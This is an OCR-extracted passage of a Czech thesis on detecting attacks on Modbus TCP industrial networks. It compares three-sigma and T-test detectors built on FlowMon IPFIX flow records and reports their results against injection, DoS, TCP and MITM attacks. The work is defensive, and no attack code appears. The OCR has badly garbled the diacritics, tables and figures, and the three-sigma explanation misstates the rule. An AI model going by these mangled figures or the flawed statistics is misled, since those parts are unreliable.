Modbus read prikazy Modbus write pfikazy Modbus uspesné prikazy
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Obrazek 5.1: Pocet prikazi Modbus pfi normalnim provozu a béhem utoku

Dalsi idaje o komunikaci uz budeme demonstrovat jenom na tomto tutoku.

Po tom co jsme zjistili, Ze je na siti zvyseny vyskyt write prikazu v Modbus TCP
komunikaci, je dobré si zobrazit pocty paketi pro jednotlivé zarizeni slave v Modbus TCP
siti, to mizeme vidét na obrazku c¢islo 5.2. Zde uz si muzeme vSimnout velmi zvySenych
poctu paketd mezi stanicemi A a C. Je zjevné, ze doslo k néjaké anomalii.

Pocet paketd mezi stanicemi A a C  Pocet paketl mezi stanicemi Aa D Pocet paketli mezi stanicemi A a E

3000 200
2000
100
1000
0 0 0

Normal Test Normal Test Normal Test

1500

1000

500

Obrazek 5.2: Pocet pakett norméalniho provozu a béhem utoku

Daéle muzeme zobrazit jednotlivé prikazy, které byly odeslany stanici C. Tuto informaci
ukazuje obrazek ¢islo 5.3. Z tohoto obrazku je patrné, ze ptrikazy Modbus Read jsou stéle
v relativné norméalni tirovni, ale pocet prikazi Modbus Write se zvysil.
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Pocet write pfikazll na stanici C  Pofet read pfikazl na stanici C
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Obrazek 5.3: Pocet Modbus piikazi v normalnim provozu a béhem utoku na stanici C

Co se vsak jevi jako velice uziteény udaj pii detekcich Modbus TCP utoku je atribut
pomér Modbus prikazi a tspésnych odpovédi na tyto prikazy. Pri nasem méfeni normalni
komunikace béhem desetihodinového méreni nedoslo k tomu, aby se tato ¢isla lisila. Tedy
na kazdy Modbus piikaz nalezela pravé jedna tspésné odpovéd. To se pri ttocich vkladani
paketl urcité nemuze stat, protoze zarizeni Modbus slave pri TCP retransmisi, tedy pfi
duplicité sekvencnich ¢isel, odpovi jen na jeden Modbus dotaz.

Z toho plyne, ze je dilezité sledovat pocet Modbus dotazi a odpovédi v siti a mit
nastaveny prahové hodnoty pro odhaleni odchylek od bézného chovani. Pokud se v siti
objevi rozdilny pocet dotaz a uspésnych odpovédi, muze to byt indikaci probihajiciho
utoku.

Na obrazku ¢islo 5.4 muzeme vidét, kolik procent Modbus dotazi je v komunikaci
netuspésnych. Tato podezield komunikace obsahuje zvysSeny vyskyt netspésnych dotazu.
Zamérime-li se primo na Modbus dotazy na stanici C, je rozdil jesté znatelnéjsi. Coz nam
indikuje, Ze se pravdépodobné jedné o utok.

Pocet (ispésnych a nelispésnych Modbus prikazi Pocet Uspésnych a neuspésnych Modbus pfikazli se stanici C

750 1000 1250 1500 1750 0 200 400 600 800 1000 1200
Obrazek 5.4: Procento netspésnych prikaza béhem ttoku

Tento jednoduchy statisticky rozbor Modbus TCP komunikace nam poskytl dobry vhled
do fungovani sité a na jeho zdkladé mtuzeme navrhnout konkrétni metody detekce anomalii.

5.2 Metody detekce

Na rozdil od klasické sitové komunikace na internetu je komunikace ICS siti, a tedy sitova
komunikace v prumyslovych scénarich, velice stabilni, periodickd a muzeme v ni nalézt
urc¢ité vzorce chovani. Chovani ICS siti lze popsat pomoci statistickych modelt ¢i koneénych
automatil, nebo jinak. Mame-li vytvoreny model sité, mizeme provadét detekci anomalii
[8].

IDS (Intrusion detection system) se vyuzivaji k zabezpeceni ICS siti. Systémy detekce
anomalii, které analyzuji sifovou komunikaci, jsou specifickym typem IDS. Snazi se na-
jit rozdil mezi aktualnim chovanim systému a chovanim systému, které je povazovano za
normélni. Detekce anomalil muze fungovat na ruznych vrstvach ISO/OSI modelu [27].

Existuje spousta metod a algoritmi, jenz se pouzivaji pro detekci anomalii v ICS si-
tich [27]. Vyzkum provedeny Ahmedem et al. rozdéluje metody detekce anomadlii do ¢ty
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kategorii: detekce anomaélii zalozena na klasifikaci, statistickd detekce anomalii, detekce na
zékladé teorie informaci a clustering [2]. Toto rozdéleni muzeme vidét na obrazku ¢islo 5.5.

Metody detekce
anomalii

v v v v

Detekce anomalii Statisticka detekce Detekce na zakladé .
. . e o S . Clustering
zalozena na klasifikaci anomalii teorie informaci
> HipEeE podplurnych > Mixture model Regular clustering
vektoru
(. J (. J
4 N\ 4 N\
> Bayesovska sit’ F» Zpracovani signalu ~)[ Co-clustering
4 N\ 4 B B
N Rule-based N Analyza hlavnich
komponent
4 N\

L»  Neuronové sité

Obrazek 5.5: Klasifikace metod detekce anomalii

Detekce anomalii zaloZena na klasifikaci

Metody detekce anomaélii na zdkladé klasifikace jsou postaveny na zakladé expertnich zna-
losti pocitacovych utoku. Systému detekce se poskytne detailni charakteristika utoku s
ur¢itymi vzorci chovani, které se v tomto utoku vyskytuji. Tyto vzorce chovani posléze mo-
hou byt detekovany. Pro popis itoku se pouzivaji tzv. signatury. Slabinou téchto metod je,
7e jsou zranitelné vuci neznadmym ¢i novym utokum, jelikoz pro né jesté neexistuji signatury

[2].

Statistickd detekce anomalii

Metody detekce anomalii pomoci matematickych statistickych metod vyuzivaji statistické
udaje o komunikaci a aplikuji na né statistické metody detekce, jako je metoda 3-sigma
nebo T-test, které jsme pouzili v této préci [2].

Detekce anomalii na zakladé teorie informaci

Metody na zakladé teorie informaci mohou byt pouzity pro vytvoreni vhodného modelu
sité. Model se vyjadiuje pomoci ruznych parametri z teorie informaci, jako jsou entropie,
podminénd entropie, relativni entropie, zisk informaci, cena informaci atp. [2].
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Clustering

Clustering odkazuje na algoritmy strojového uceni bez ucitele, které shlukuji podobné data
do tzv. clusteru [2].

5.3 Monitorovani IPFIX

Monitorovani sifovych toka v ICS sitich funguje tak, ze do priamyslové sité vlozime sondu,
jenz pozoruje pakety, které prochazi skrze sif, a z téchto paketi vytvari tzv. zdznamy
sitovych tokd nebo-li Flow Records. Tyto zdznamy se pozdéji odeslou na zarizeni kolektor.
Jeden zaznam sitového toku definujeme jako posloupnost sitovych paketi, které prochazi
pres sledovany bod za urcity c¢asovy interval a maji urc¢ité spoleéné vlastnosti. Témito
vlastnostmi mtzou byt zdrojova a cilova IP adresa, zdrojovy a cilovy port, protokol a jiné.
Pro kazdy zaznam si sonda uklada metadata jako je pocet prenesenych bajti, celkova doba
trvani komunikace atd. [18].

V této praci jsme vyuzili IPFIX zdznamy pro protokol Modbus TCP, které jsou sou-
¢asti FlowMon sondy od spole¢nosti Progress Software Corporation. Sablony pro protokol
Modbus TCP a jiné ICS/SCADA protokoly byly do této sondy implementovéany v ramci
rozsifeni FlowMon Collector pro ICS/SCADA!. Tradi¢ni monitorovani IPFIX poskytuje
metadata na druhé az ¢tvrté sitové vrstve. Toto rozsiteni nam k IPFIX zaznamim pridava
uzitecna aplika¢ni metadata protokolu Modbus TCP jako jsou vyskyty jednotlivych prikaza
protokolu Modbus TCP a jejich tispésnost.

5.4 FlowMon sonda

FlowMon sonda je pasivni prvek siftové komunikace urceny k monitorovani sité. Je to sitové
zatizeni, které dokéze monitorovat sité o rychlostech az 100Gb/s. Toto zafizeni ndm pasivné
ziskava informace, z pakett které prochazi skrze sifové rozhrani. Z téchto paketu vytvari
IPFIX zaznamy sitovych toki, jenz pak posila na zafizeni kolektor.

V této praci jsme FlowMon sondu vyuzili pro vytvareni IPFIX zidznamt protokolu
Modbus TCP, jelikoz FlowMon sonda poskytuje rozsifeni pro zjistovani aplika¢nich metadat
z Modbus TCP pakett [22].

Sonda FlowMon ndm o Modbus TCP komunikaci poskytuje nésledujici tdaje, jenz
mizeme vidét v tabulce ¢islo 5.2.

Tabulka 5.2: FlowMon sonda, tdaje o komunikaci Modbus TCP

MODBUS_UNIT 1D Unit ID zarizeni slave
MODBUS_READ_REQUESTS Pocet Modbus prikaziu read
MODBUS_ WRITE_ REQUESTS Pocet Modbus prikazi write
MODBUS__ DIAGNOSTIC_REQUESTS | Poc¢et Modbus prikazi diagnostiky
MODBUS_OTHER__REQUESTS Pocet jinych Modbus prikazt

Pocet Modbus prikazi s neznamym

MODBUS_UNDEFINED__REQUESTS .

function code.
MODBUS__SUCCESS_RESPONSES Pocet tspésnych odpovédi
MODBUS_ERROR_ RESPONSES Pocet netspésnych odpovédi

"https: //www.flowmon.com/cs/company/research/narodni-centrum-kompetence-pro-
kyberbezpecnost/rozsireni-flowmon-collector-pro-ics-scada cit. [2023-4-14]

46


https://www
http://lowmon.com/

5.5 Problém segmentace zaznamu IPFIX

Jedna z komplikaci pii detekci anomdlii, na kterou jsme narazili, pfi testovani spolehlivosti
metod detekce je problém segmentace IPFIX zdznami na mensi ¢asové useky.

Predstavme si situaci, kdy mame IPFIX zaznamy s ¢asovymi znackami z urcité komu-
nikace a potfebujeme je rozdélit na pétiminutové tseky. Pro kazdy z téchto ¢asovych useku
poté chceme provést detekci anomalii.

Na obrazku ¢islo 5.6 vidime t¥i IPFIX zaznamy f1, £2 a £3, které maji ¢as vzniku
zédznamu ,s“ a cas ukonceni ,e“. Mame nékolik moznosti, jak rozdélit komunikaci na N
dilkid. Pokud chceme ziskat veskerou komunikaci v ¢asovém tseku 0 az 5, prvni moznosti je
vzit veskeré zaznamy, jejichz pocatecni i koncovy ¢as spadéd do intervalu (0,5). Tim se ndm
vsak stane, ze zaznam £3 se sice dostane do tohoto intervalu, ale zdznamy f£1 a £2, které
oba pusobily v tomto ¢asovém tseku, tam nebudou spadat a statistika bude zkreslen4.

Dalsimi dvéma moznostmi je kontrolovat, zda-li pocatecni ¢as zdaznamu spada do in-
tervalu (0,5) nebo zda-li tam spadd koncovy ¢as zdznamu. V prvnim piipadé se ndm do
intervalu nedostane zaznam £2 a v druhém zaznam f1.

fl-s f3-s f3-e fl-e

—Y

Obrazek 5.6: Problém segmentace IPFIX zaznamu.

Tento problém bohuzel zpusobuje nepresnosti v nasich metodach detekce anomalii.
Nicméné, lze to fesit tim, ze IPFIX sonda bude periodicky exportovat veskeré IPFIX za-
znamy, bez ohledu na to, jak dlouho jsou aktivni. Toto reseni by samoziejmé pridalo vy-
pocetni slozitost. Dalsi moznosti je provadét detekce anomalii ve vétsich ¢asovych tsecich,
¢imz by se snizila statistickd chyba vyvoland problémem segmentace IPFIX zaznami. Pro-
blém tedy neni nefesitelny, ale chceme-li navrhnout funkéni IDS/IPS pro detekci anomalii,
jenz vyuziva IPFIX zaznamy, je potfeba tomu prizptsobit i implementaci IPFIX exportéru.

Implementace detekce anomalii pomoci zaznamt IPFIX

V ramci detekce anomalii v sifové komunikaci pomoci zaznamt IPFIX jsme vytvorili pro-
gram v jazyce Python, ktery obsahuje dvé statistické metody detekce a jeden detailni sta-
tisticky rozbor komunikace. Program umoznuje nac¢ist IPFIX zidznamy ve formatu CSV.,
které jsou generovany FlowMon sondou, a to pomoci parametru "-csvn', kterym lze priradit
libovolny pocet CSV. soubort obsahujicich béznou komunikaci.

Druhym parametrem "-csva'lze nacist soubor CSV. obsahujici IPFIX zaznamy, které
budeme porovnavat s normalni komunikaci a hledat v ni anomélie. Parametr "-mn"umoznuje
vybér jedné z metod detekce, a to od metody "-m1"az po "-m3".

python3 anomaly_detection.py -csvn a.csv al.csv -csva b.csv -mn

Veskeré nase metody jsou implementovany tak, aby se daly nasadit jako IDS (Intruision
detection system) a periodicky detekovaly anomédlie v komunikaci.
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Program jsme testovali na primyslovych scénatrich implementovanych v kapitole ¢islo
3 a snazili jsme se detekovat anomaélie v normalni komunikaci a komunikaci ve chvili, kdy
probihaly Gtoky, implementované v kapitole ¢islo 4.

Vsechny metody, jenz jsme implementovali, dokézou s ur¢itou tispésnosti detekovat ano-
malie v komunikaci béhem probihajicich itokt z kapitoly ¢islo 4. Jedinou vyjimkou je Gtok
MITM (Man in the Middle Attack), ktery ndmi implementované metody neodhalily. De-
tekce titoku MITM by byla moznd pomoci sledovani druhé vrstvy ISO/OSI modelu nebo
sledovanim cCasovych znacek paketa ¢i jinymi zpusoby.

5.6 Pravidlo tri sigma

Pravidlo tii sigma se pouziva ve statistice jako metoda pro urceni rozsahu, ve kterém se
vétsina dat nachazi, a to pt{ normalnim rozdéleni [23].

Necht X je realnd ndhodna veli¢ina s priimérem p a rozptylem 2. Bienaymého a Cebyse-
vova nerovnost fikaji, ze hodnota X spadd mimo interval se stfedem v bodé p a polomérem
r > 0 nejvyse s pravdépodobnosti o2 /r? toto je hrub4 obecnd hranice. Pravidlo tif sigma
tika, ze pravdépodobnost, ze X se vzdaluje od p o vzdélenost vétsi nez trojndsobek rozptylu
(30) je nanejvys 5% [23].

P(|X — p| > 30) < 0.05 (5.1)

V nasi praci pouzivame pravidlo t¥i sigma k urceni, zda aktudlni sifovd komunikace
spadd do intervalu bézné komunikace (—30, 30). Pokud tomu tak neni, testovanou komu-
nikaci hodnotime jako anomalii. Pravidlo t¥i sigma muzeme aplikovat na rizné parametry
sitové komunikace, pokud jsme schopni urcit stfedni hodnotu a rozptyl.

Realizace

Veskeré statistické tidaje jsme ziskali nebo odvodili z IPFIX zidznami sitové komunikace
pramyslovych scénéri.

Detekci anomélii pomoci pravidla tfi sigma jsme implementovali pro ¢tyfi smysluplné
parametry sifové komunikace. Témi jsou pocet Modbus paketid v komunikaci, po¢et Modbus
write prikazt v komunikaci, pocet Modbus paketii pro konkretni zafizeni slave a pocet
Modbus write ptikazt pro konkrétni zarizeni slave. Detekci samoziejmé miizeme provadét
i nad jinymi parametry této komunikace.

Jediné co potrebujeme zjistit, je stfedni hodnota a rozptyl. To se vypocte nasledovné.

= %in (5.2) =I5 wi—w?  (53)
=1 3

Testovani

Na obrazku ¢islo 5.7 a v pfipojené tabulce mizeme vidét vysledky prvniho testu, ktery
jsme provedli. Tabulka obsahuje seznam dataseti. Ke kazdému datasetii je uvedeny pocet
paket, coz odpovida hodnoté z osy x.

Pokud dataset neodpovidd modelu, povazujeme ho za anomalii a v tabulce jej znacime
symbolem v'. Pokud dataset odpovida modelu, oznacujeme to symbolem Xx.
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Model je definovana pomoci stredni hodnoty a rozptylu. Testovany vzorek, ktery spada
do intervalu (—30, 30) se stfedem v p odpovidd modelu.

V prvnim testu jsme porovnéavali mnozstvi Modbus paket v komunikaci s modelem.
Komunikace oznacend jako nl az nb predstavuje béznou komunikaci. Z vysledku lze vidét,
ze vSechny zédznamy normdlni komunikace spadaji do intervalu (—o, o) se sttedem v p, tedy
odpovidaji modelové komunikaci, ale také utoky MITM a vkladani paketi i-10 spadaji do
intervalu (=30, 30), coz znamend, Ze nejsou detekovany jako anomaélie.

0.005 4

xi-T

0004 ] i i i i i i dataset | pocet paketu | detekce
| | | | | | i-10 4 290 X
% 003 | i | ! i | i i-50 5 600 v
:23 | i i : i | i-full 6 000 v
,i;* 0,002 | | | | | i | DoS 20 000 000 v
g A A TCP-a 1300 | ¢
soor | i i i i i i MITM 4 120 X
i L o i n-1-n5 | 4080-4 160 X
! 1 x xn5| !

0.000

T T T T T T T
3800 3900 4000 4100 4200 300 4400

Modbus pakety (5min)

Obrézek 5.7: Test 1: detekce anomélii podle atributu pocet paketi Modbus (za 5 min.)

Jak bylo feceno vyse, ttok MITM nelze dobfe detekovat pomoci nasich metod detekce
anomalii, protoze utok MITM nechava komunikaci plynout normélnim zptsobem a jen
pozménuje hodnoty paketii. Tedy datova sada MITM se chova jako modelova komunikace,
i presto, ze se jedna o utok.

Utrzek komunikace i-10 je zdznam komunikace ttoku vklddani pakett o frekvenci 10
paketld za minutu. Znepokojivé na tomto utoku je, ze se nedostal mimo hranice 30, coz
znamena, ze neni vyhodnoceny jako anomalie. VSechny ostatni Gtoky jako jsou vkladani 50
paketl za minutu i-50, vkladani pakett pii plné rychlosti i-full jsou vyhodnoceny jako
anomadlie.

Utok DoS mé samoziejmé poéty pakettl daleko za hranicemi 30, a tedy je vyhodnocen
jako anomélie.

Utok na protokol TCP, z datové sady TCP-a, jenz prerusi TCP spojeni mezi zafizenim
slave a master, ndm naopak produkuje prilis malé mnozstvi paketi. To zptusobi, Ze se Utok
dostane za hranici —30, ¢ili je také vyhodnocen jako anomalie. Pokud by vsSak utocénik
pri utoku na TCP vyuzil ovladnuti zafizeni slave chytfeji a po ovladnuti zafizeni slave
generoval néjaky Modbus TCP provoz, mohl by spadnout do rozmezi (—30, 30). Timto by
utok nemusel byt vyhodnoceny jako anomalie.

Na obrazku ¢islo 5.8 se nachazi vysledky naseho druhého testu. Tento test je velmi
podobny prvnimu testu s tim rozdilem, Ze jsme vytvorili model pro vyskyt prikazu Modbus
write na konkrétnich stanicich. Vysledky druhého testu jsou v podstaté stejné jako u prvniho
testu. Jedinym drobnym rozdilem je, ze Utok vkladani paketi o rychlosti 10 paketu za
minutu i-10 se tentokrat nachazi pred hranici +20. Opét nebyl detekovan tok MITM a
vSechny ostatni titoky se nachézeji mimo interval (—30, 30), tedy nejsou vyhodnoceny jako
anomadlie.
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Obrézek 5.8: Test 2: detekce anomélii podle atributu pocet write prikazi (za 5 min.)

Treti test, obrazek ¢islo 5.9, je stejny, jako test prvni, ale zamérujeme se na Modbus
pakety, které byly poslany na konkretni zafizeni slave. Tento test muzeme vidét na obrazku
zameérili na konkrétnéjsi zatfizeni, jsme posunuli Gtok vkladani pakett i-10 za hranice 3o
a tim ho spravné vyhodnotili jako anomalii, stejné jako veskeré ostatni toky kromeé tutoku
MITM.

Treti test ukazuje, Ze ¢im vice se zamérujeme na specifické parametry komunikace, tim
byly poslany na konkrétni zaiizeni slave a dosahli jsme lepsich vysledkt nez pii testech s
obecnéjsim zameérenim.

30 20 1o
Y P
i i i i i i dataset | pocet pakett | detekce
gows| 11| . E10 2380 7
£ b Vo i-50 3 550 v
H Lo AN i-full 3 630 v
R P P\ DoS 20 000 000 v
. P AN TCP-a 1 400 v
0.002 VA O MITM 2195 x
b e X0 NU 10 [ n5 2170 - 2205 x
0.000 | | P xn-5 | | | x

T T } T T T T T
2000 2050 2100 2150 2200 2250 2300 2350
Modbus pakety se stanici C (5min)

Obrézek 5.9: Test 3: detekce anomalii podle atributu pocet pakett se stanici C (za 5 min.)

Posledni test, jenz jsme provedli, mizeme vidét na obrazku ¢islo 5.10 a prilehajici ta-
bulce. Test je variaci testu ¢islo 2, ale zamérujme se na write prikazy konkretniho zarizeni
slave. Opét mutzeme vidét, ze specifikovat zafizeni mélo pozitivni Gc¢inek na detekci anoma-
lii. Tento test méa stejné dobré vysledky jako test 2. Veskeré tutoky kromé itoku MITM byly
vyhodnoceny jako anomalie a normalni komunikace nebyla vyhodnocend jako anomaélie.
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Obrézek 5.10: Test 4: detekce anomélii podle atributu pocet write piikazu se stanici C (za
5 min.)

Pomoci metody detekce anomalii tfi sigma jsme dokéazali identifikovat témér vSechny
uatoky s vyjimkou ttoku MITM. V této metodé se mizeme zamérit na ruzné parametry ko-
munikace, jenz dokazeme ziskat ze zdznam IPFIX. Cim vice specifi¢ti jsme ve sledovanych
parametrech komunikace, tim presnéjsi vysledky metoda poda. Problém specifickych para-
metra komunikace ale mtze byt, ze vzhledem k problému se segmentaci IPFIX zaznamu s
vétsi pravdépodobnosti dojde k vyhodnoceni normalni komunikace jako anomélie.

5.7 T-test

T-test, nékdy také Studentiiv test, je metodou matematické statistiky, jenz umoznuje ovéfit,
zda-li norméalni rozdéleni, z néhoz pochazi urcity ndhodny vybér, ma urcitou konkretni
stfedni hodnotu, pficemz rozptyl je neznamy. Druhou hypotézu, kterou muzeme ovérit
pomoci T-testu je, zda dvé normélni rozdéleni majici stejny (byt nezndmy) rozptyl, z nichz
pochézi dva nezdvislé ndhodné vybéry, maji stejné stiedni hodnoty (resp. rozptyl téchto
stfednich hodnot je roven ur¢itému danému ¢islu) [4].

T-test existuje v raznych variantach. Pro tuto préci jsme vyuzili jednovybérovy T-test.

Jednovybérovy T-test

Princip jednovybérového T-testu je nasledovny. Méjme jednotlivé hodnoty ndhodného vy-
béru x1, s, ..., Tn, v¥bérovy primér X a vybérovy rozptyl S2. Test testuje hypotézu, ze
stfedni hodnota norméalniho rozdéleni, z néhoz vybér pochazi, se rovna pyg
Plati-li hypotéza L

o X—Ho

S/v/n
T rozdéleni s n — 1 stupni volnosti hypotézu zamitame, je-li T prilis velké nebo malé,
coz znamend, ze se vybérovy prumeér prili§ lisi od ocekavané stfedni hodnoty. Konkrétné
se hodnota T porovnava s kritickou hodnotu 7' rozdéleni pro predem stanovenou hladinu
vyznamnosti [4].

(5.4)
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Realizace

Pro ziskani veskerych statistickych tdaji o komunikaci jsme opét vyuzili zaznamy IP-
FIX. Pro provedeni jednovybérového T-testu jsme vyuzili existujici implementaci z Python
knihovny Scipy?. Celkové jsme vykonali dva T-testy. Podobné jako u testovani pomoci pravi-
dla t¥i sigma jsme se zamérili na poc¢ty Modbus write prikazi a pocet modbus write prikazu
provedenych na konkrétnim zarizeni slave. Coz miizeme vidét na nasledujicim dtrzku kédu.

# write_req — mnoZina obsahujici polty write prikazid v Case.

# dfN.modbus_write_total - sttedn? hodnota write prikazi v bézZné komunikact
M3.t_test(write_req, dfN.modbus_write_total)

# write_req 252 - mnoZina obsahujici polty write prikazid na zaTizeni .252 v Case.

# dfN.modbus_write_total - stvedn? hodnota write prikazid na zaTizeni .252 v béZné kom.
M3.t_test(write_req_252, dfN.modbus_write_250_252)

def t_test(values, mean):

t_stat, p_val = ttest_lsamp(values, mean)

Testovani

Vystup naseho programu pro utok vkladani paketti o rychlosti deseti paket za minutu,
muzeme vidét zde.

T-test write packets

mean: 305.7324918845477

tested values: [342, 337, 335, 313, 336, 301, 318]
t-statistic: 3.490546067515357

p-value: 0.012974729204885693

The t-test has a statistically significant difference
T-test write packets 252

mean: 169.94925052387555

tested values: [179, 177, 185, 183, 186, 191, 198]
t-statistic: 5.771549156612534

p-value: 0.0011812593003512647

The t-test has a statistically significant difference

mean je oc¢ekavana stfedni hodnota, tested values je mnozina testovanych hodnot
t-statistic je kritickd hodnota T a p-value ndm vyjadiuje pravdépodobnost, Ze by se
pozorovany rozdil mohl vyskytnou ndhodné. Vsimnéme si, ze tok byl spravné vyhodnocen
jako statistickd anomalie.

Bohuzel, kvilli problému segmentace IPFIX zdznamt nam T-test vyhodnocoval nékte-
rou validni komunikaci jako anomalie. Diivodem je, ze jsme komunikaci rozdélili na mensi
casové useky a z nich vytvorili mnozinu hodnot. V tomto piistupu ¢asto dochazelo k tomu
ze nékteré IPFIX zaznamy, které obsahovaly spoustu paketii a piikazt, negativné ovlivnily

*https://scipy.org/ cit. [18.4.2023]
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vysledek. Souhrnné vysledky testt mizeme vidét v tabulce ¢islo 5.3. Symbol v' znaci vy-
hodnoceni komunikace jako anomalii, opakem je symbol x. Test 1 sleduje celkovy pocet
Modbus write prikazu, Test 2 zase sleduje celkovy pocet Modbus write prikazt s konkretnim
zarizenim slave.

Tabulka 5.3: Vysledka T-testu
Komunikace Test 1 | Test 2

Utok vklddan{ 10 paketi za minutu

Utok vkladani 50 paketd za minutu

Utok vkladan{ paketi pii plné rychlosti
Utok na TCP

Utok DoS

MITM

Normaln{ komunikace 1

Normaln{ komunikace 2

Normalni komunikace 3

Normalni komunikace 4

XX IS XX SNSSSS
XX IS XX SNSSSS

Normaln{ komunikace 5

Vysledky testti

Celkové jsme provedli Sest testti detekci anomélii pomoci metod 3 sigma a jednovybéro-
vého T-testu. Vysledky vSech testii mutzete vidét v tabulce Cislo 5.4. Testy jsme provedli
nad stejnou datovou sadou, kterd obsahovala vSechny Sest ttokt a pét zdznamt normalni
komunikace. Celkové tedy 11 datovych sad.

V tabulce jsou uvedeny ¢tyti hodnoty, které pouzivame k vyhodnoceni vykonu systému
detekce anomalii. FP znamena falesnd pozitiva, coz jsou pripady, kdy byla detekovana
neskodnda komunikace jako skodliva. FN znamend faleSna negativa, coz jsou pripady, kdy
nedoslo k detekci skuteéného utoku. TP jsou skuteéna pozitiva, coz jsou piipady, kdy byl
skutecny utok uspésné detekovan. TN znamend skuteCnd negativa, coz jsou pripady, kdy
byla norméalni komunikace tspésné identifikovana jako neskodna a nakonec ACC, coz je
celkové zhodnoceni, tedy kolik datovych sad bylo klasifikovino spravné.

Metody detekce FP | FN | TP | TN | ACC
3-sigma: pocet Modbus paketti 0% | 18% | 36% | 45% | 82%
3-sigma pocet write pifkazl 0% | 18% | 36% | 45% | 82%
3-sigma pocet paketil pro konkrétni zatfizeni 0% | 9% | 45% | 45% | 91%
3-sigma pocet write piikazl pro konkrétni zaiizeni | 0% | 9% | 45% | 45% | 91%
T-test podet write piikazl 18% | 9% | 45% | 27% | 73%
T-test pocet write piikaz® pro konkrétni zafizeni | 18% | 9% | 45% | 27% | 73%

Tabulka 5.4: Vysledky testovani metod detekci anomalii
Prvné je dilezité zminit, ze zadny z vyse provedenych testt nedetekoval utok MITM.

Nejlépe se dafilo konkretizovanym testtim 3-sigma. Velkd vyhoda metody 3-sigma oproti
jednovybérovych T-testt je absence falesnych pozitiv, tedy byla-li komunikace standardni,
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tak ji testy 3-sigma nikdy nevyhodnotily jako anomalii. Detailnéjsi rozbor jednotlivych testt
metody 3-sigma a metody jednovybérového T-testu se nachéazi v kapitolach ¢islo 5.6 a 5.7.

Je dulezité upozornit, ze vysledky testl jsou ovlivnény segmentac¢nim problémem IPFIX
zaznamu, jak je detailné popsdano v kapitole ¢islo 5.5. V pripadé odlisné implementace
vytvareni IPFIX zaznamt nez je pouzivanid FlowMon sonda by se vysledky testti mohly
lisit.

5.8 Shrnuti

V této kapitole jsme se zamérili na detekci anomalii pomoci monitorovani IPFIX. Vysvétlili
jsme, co je to protokol IPFIX a ukéazali jsme, ze sonda FlowMon dokéze monitorovat Modbus
TCP sit. Poté jsme klasifikovali metody detekce anomadlii a popsali problém segmentace
IPFIX zaznamu.

Dale jsme udélali statisticky rozbor nasi komunikace, abychom dokazali 1épe urcit na
jaké parametry Modbus TCP komunikace se muzeme zamérit pri detekci anomalii.

Nakonec jsme otestovali dvé statistické metody pro detekci anomalii. Metoda tfi sigma
dokéazala pri spravné zvolenych parametrech identifikovat veskeré utoky kromé MITM a
zaroven nevyhodnocovala normélni komunikaci jako anomalii. T-test také vyhodnotil ves-
keré utoky s vyjimkou MITM. Problém T-testu vsSak byl, ze z divodu IPFIX segmentace
vyhodnocoval nékteré norméalni komunikace jako anomalie.
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Kapitola 6
Zaver

oh no Cilem této prace bylo generovat vybrané ttoky na priumyslové sité Modbus TCP a
navrhnout moznosti detekce itokd pomoci monitorovani IPFIX.

Pro demonstraci utoku byl vyuzit simuldtor Factory I/O spolu se zatfizenimi UniPi.
Pomoci téchto nastroju byly vytvoreny dva prumyslové scénare, a to inteligentni sklad
a montazni linka. Celkové bylo v ramci této prace uspésné implementovano pét utoku
na protokol Modbus TCP, konkrétné vkladani paketi do komunikace (Packet Injection),
MITM, prehrani (Replay Attack), DoS a ttok na samotny protokol TCP. Funkénost dtoku
byla validovand na zminénych primyslovych scénérich.

S vyuzitim zdznamu IPFIX generovanych sondou FlowMon jsme pomoci statistickych
metod detekce t¥1 sigma a T-tesu dokazali detekovat témér veskeré itoky. Vyjimkou je ttok
MITM, jehoz komunikace se nelisi od bézné, a tudiz je tézce detekovatelny pomoci na-
Sich metod detekce. Metoda tii sigma dosahla velké ispésnosti, kdyz dokazala vyhodnotit
anomalie v siti s presnosti 91 % a nulovym poctem fale$né pozitivnich vysledki. Metoda
detekce T-testu z divodu problému segmentace zaznami IPFIX nékdy $patné klasifikovala
normdlni komunikaci jako anomalii, konkrétné v 18 % pripadi. Nicméné i presto dosdhla
uspésnosti 73 %. Pro dosazeni lepsich vysledku detekce anomélii by byla vhodnd jind im-
plementace exportu zaznamt IPFIX nez ta, kterou ndm poskytuje sonda FlowMon.

Tato prace by méla pomoci detekovat ttoky v prumyslovych sitich Modbus TCP a
celkové odhalit slabiny a rizika spojend s protokolem Modbus TCP. Rovnéz poskytuje sadu
uatokud pro testovani bezpecnosti priumyslovych siti Modbus TCP.

Vystupem této prace jsou datové sady ve formdtu PCAP/IPFIX obsahujici jak nor-
malni sifovou komunikaci prumyslovych procesu, tak sifovou komunikaci, kterd obsahuje
nami implementované itoky. Tyto datové sady lze dale pouzit pro testovani metod detekce
anomalii v sitich Modbus TCP .
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